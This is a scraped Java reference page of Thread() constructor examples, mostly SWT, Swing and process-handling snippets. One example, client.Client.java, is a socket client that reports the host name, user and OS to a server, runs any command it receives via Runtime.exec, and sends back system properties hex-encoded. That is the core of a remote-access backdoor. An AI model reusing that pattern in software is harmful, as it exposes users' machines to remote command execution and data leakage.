Example usage for java.lang Thread Thread

List of usage examples for java.lang Thread Thread

Introduction

In this page you can find the example usage for java.lang Thread Thread.

Prototype

public Thread() 

Source Link

Document

Allocates a new Thread object.

Usage

From source file:ExecDemoLs.java

public static void main(String argv[]) throws IOException {

    final Process p; // Process tracks one external native process
    BufferedReader is; // reader for output of process
    String line;//from   www.j  av a2  s. c o  m

    p = Runtime.getRuntime().exec(PROGRAM);

    // Optional: start a thread to wait for the process to terminate.
    // Don't just wait in main line, but here set a "done" flag and
    // use that to control the main reading loop below.
    Thread waiter = new Thread() {
        public void run() {
            try {
                p.waitFor();
            } catch (InterruptedException ex) {
                // OK, just quit.
                return;
            }
            System.out.println("Program terminated!");
            done = true;
        }
    };
    waiter.start();

    // getInputStream gives an Input stream connected to
    // the process p's standard output (and vice versa). We use
    // that to construct a BufferedReader so we can readLine() it.
    is = new BufferedReader(new InputStreamReader(p.getInputStream()));

    while (!done && ((line = is.readLine()) != null))
        System.out.println(line);

    return;
}

From source file:DualSynch.java

public static void main(String[] args) {
    final DualSynch ds = new DualSynch();
    new Thread() {
        public void run() {
            ds.f();//  w w  w  . jav  a2s  .c om
        }
    }.start();
    ds.g();
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *///  w ww .java  2 s.co m
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:Main.java

public static void main(String[] args) {
    JFrame f = new JFrame();
    f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    JPanel p = new JPanel();
    p.setOpaque(true);//  ww  w. j  av  a2s  . c om
    p.setLayout(new FlowLayout());
    p.add(good);

    f.add(p, BorderLayout.CENTER);
    f.add(resultLabel, BorderLayout.SOUTH);
    good.addActionListener(new ActionListener() {
        public void actionPerformed(ActionEvent ev) {
            resultLabel.setText("Working . . .");
            good.setEnabled(false);
            Thread worker = new Thread() {
                public void run() {
                    try {
                        Thread.sleep(5000);
                    } catch (InterruptedException ex) {
                    }
                    SwingUtilities.invokeLater(new Runnable() {
                        public void run() {
                            resultLabel.setText("Ready");
                            good.setEnabled(true);
                        }
                    });
                }
            };
            worker.start(); // So we don't hold up the dispatch thread.
        }
    });
    f.setSize(300, 100);
    f.setVisible(true);
}

From source file:ProgressBarUpdateAnotherThread.java

public static void main(String[] args) {
    final Display display = new Display();
    Shell shell = new Shell(display);
    final ProgressBar bar = new ProgressBar(shell, SWT.SMOOTH);
    bar.setBounds(10, 10, 200, 32);//from   w w w  . j a v  a 2  s.c om
    shell.open();
    final int maximum = bar.getMaximum();
    new Thread() {
        public void run() {
            for (final int[] i = new int[1]; i[0] <= maximum; i[0]++) {
                try {
                    Thread.sleep(100);
                } catch (Throwable th) {
                }
                if (display.isDisposed())
                    return;
                display.asyncExec(new Runnable() {
                    public void run() {
                        if (bar.isDisposed())
                            return;
                        bar.setSelection(i[0]);
                    }
                });
            }
        }
    }.start();
    while (!shell.isDisposed()) {
        if (!display.readAndDispatch())
            display.sleep();
    }
    display.dispose();
}

From source file:Snippet7.java

public static void main(String[] args) {
    final Display display = new Display();
    final Image image = new Image(display, 16, 16);
    GC gc = new GC(image);
    gc.setBackground(display.getSystemColor(SWT.COLOR_RED));
    gc.fillRectangle(image.getBounds());
    gc.dispose();/*w  ww  .j  a va 2  s. c o  m*/
    final Shell shell = new Shell(display);
    shell.setText("Lazy Table");
    shell.setLayout(new FillLayout());
    final Table table = new Table(shell, SWT.BORDER | SWT.MULTI);
    table.setSize(200, 200);
    Thread thread = new Thread() {
        public void run() {
            for (int i = 0; i < 20000; i++) {
                if (table.isDisposed())
                    return;
                final int[] index = new int[] { i };
                display.syncExec(new Runnable() {
                    public void run() {
                        if (table.isDisposed())
                            return;
                        TableItem item = new TableItem(table, SWT.NONE);
                        item.setText("Table Item " + index[0]);
                        item.setImage(image);
                    }
                });
            }
        }
    };
    thread.start();
    shell.setSize(200, 200);
    shell.open();
    while (!shell.isDisposed()) {
        if (!display.readAndDispatch())
            display.sleep();
    }
    image.dispose();
    display.dispose();
}

From source file:be.error.rpi.test.UdpTest.java

public static void main(String[] args) throws Exception {
    final InetAddress IPAddress = InetAddress.getByName("192.168.0.10");
    final DatagramSocket clientSocket = new DatagramSocket();

    new Thread() {
        @Override//from   w  w  w . j  a  va  2s  .c  om
        public void run() {
            try {
                while (true) {
                    String s = "0:0:0:";
                    DatagramPacket sendPacket = new DatagramPacket(s.getBytes(), s.getBytes().length, IPAddress,
                            8000);
                    clientSocket.send(sendPacket);
                    Thread.sleep(100);
                }
            } catch (Exception e) {

            }
        }
    }.start();

    new Thread() {
        @Override
        public void run() {
            try {
                while (true) {
                    String s = "1:1:1:";
                    DatagramPacket sendPacket = new DatagramPacket(s.getBytes(), s.getBytes().length, IPAddress,
                            8000);
                    clientSocket.send(sendPacket);
                    Thread.sleep(100);
                }
            } catch (Exception e) {

            }
        }
    }.start();

}

From source file:Snippet142.java

public static void main(String[] args) {
    final Display display = new Display();
    final Shell shell = new Shell(display);
    final Button button = new Button(shell, SWT.NONE);
    button.setSize(100, 100);// w w  w  . j a v a 2 s  .c o m
    button.setText("Click");
    shell.pack();
    shell.open();
    button.addListener(SWT.MouseDown, new Listener() {
        public void handleEvent(Event e) {
            System.out.println("Mouse Down (button: " + e.button + " x: " + e.x + " y: " + e.y + ")");
        }
    });
    final Point pt = display.map(shell, null, 50, 50);
    new Thread() {
        Event event;

        public void run() {
            try {
                Thread.sleep(300);
            } catch (InterruptedException e) {
            }
            event = new Event();
            event.type = SWT.MouseMove;
            event.x = pt.x;
            event.y = pt.y;
            display.post(event);
            try {
                Thread.sleep(300);
            } catch (InterruptedException e) {
            }
            event.type = SWT.MouseDown;
            event.button = 1;
            display.post(event);
            try {
                Thread.sleep(300);
            } catch (InterruptedException e) {
            }
            event.type = SWT.MouseUp;
            display.post(event);
        }
    }.start();
    while (!shell.isDisposed()) {
        if (!display.readAndDispatch())
            display.sleep();
    }
    display.dispose();
}

From source file:com.delphix.appliance.host.example.server.ExampleServerLauncher.java

public static void main(String[] args) {
    AbstractApplicationContext context = new ClassPathXmlApplicationContext(CONFIG_LOCATION);
    try {/*from  ww w.jav a2 s .c  o  m*/
        final ExampleServer server = (ExampleServer) context.getBean("server");

        Runtime.getRuntime().addShutdownHook(new Thread() {
            @Override
            public void run() {
                server.fini();
            }
        });
    } finally {
        context.close();
    }
}

From source file:Snippet151.java

public static void main(String[] args) {
    final Display display = new Display();
    Shell shell = new Shell(display);
    shell.setLayout(new FillLayout());
    final Table table = new Table(shell, SWT.BORDER | SWT.VIRTUAL);
    table.addListener(SWT.SetData, new Listener() {
        public void handleEvent(Event e) {
            TableItem item = (TableItem) e.item;
            int index = table.indexOf(item);
            item.setText("Item " + data[index]);
        }/*from w w  w .  j  av  a2  s  .  c  o  m*/
    });
    Thread thread = new Thread() {
        public void run() {
            int count = 0;
            Random random = new Random();
            while (count++ < 500) {
                if (table.isDisposed())
                    return;
                // add 10 random numbers to array and sort
                int grow = 10;
                int[] newData = new int[data.length + grow];
                System.arraycopy(data, 0, newData, 0, data.length);
                int index = data.length;
                data = newData;
                for (int j = 0; j < grow; j++) {
                    data[index++] = random.nextInt();
                }
                Arrays.sort(data);
                display.syncExec(new Runnable() {
                    public void run() {
                        if (table.isDisposed())
                            return;
                        table.setItemCount(data.length);
                        table.clearAll();
                    }
                });
                try {
                    Thread.sleep(500);
                } catch (Throwable t) {
                }
            }
        }
    };
    thread.start();
    shell.open();
    while (!shell.isDisposed() || thread.isAlive()) {
        if (!display.readAndDispatch())
            display.sleep();
    }
    display.dispose();
}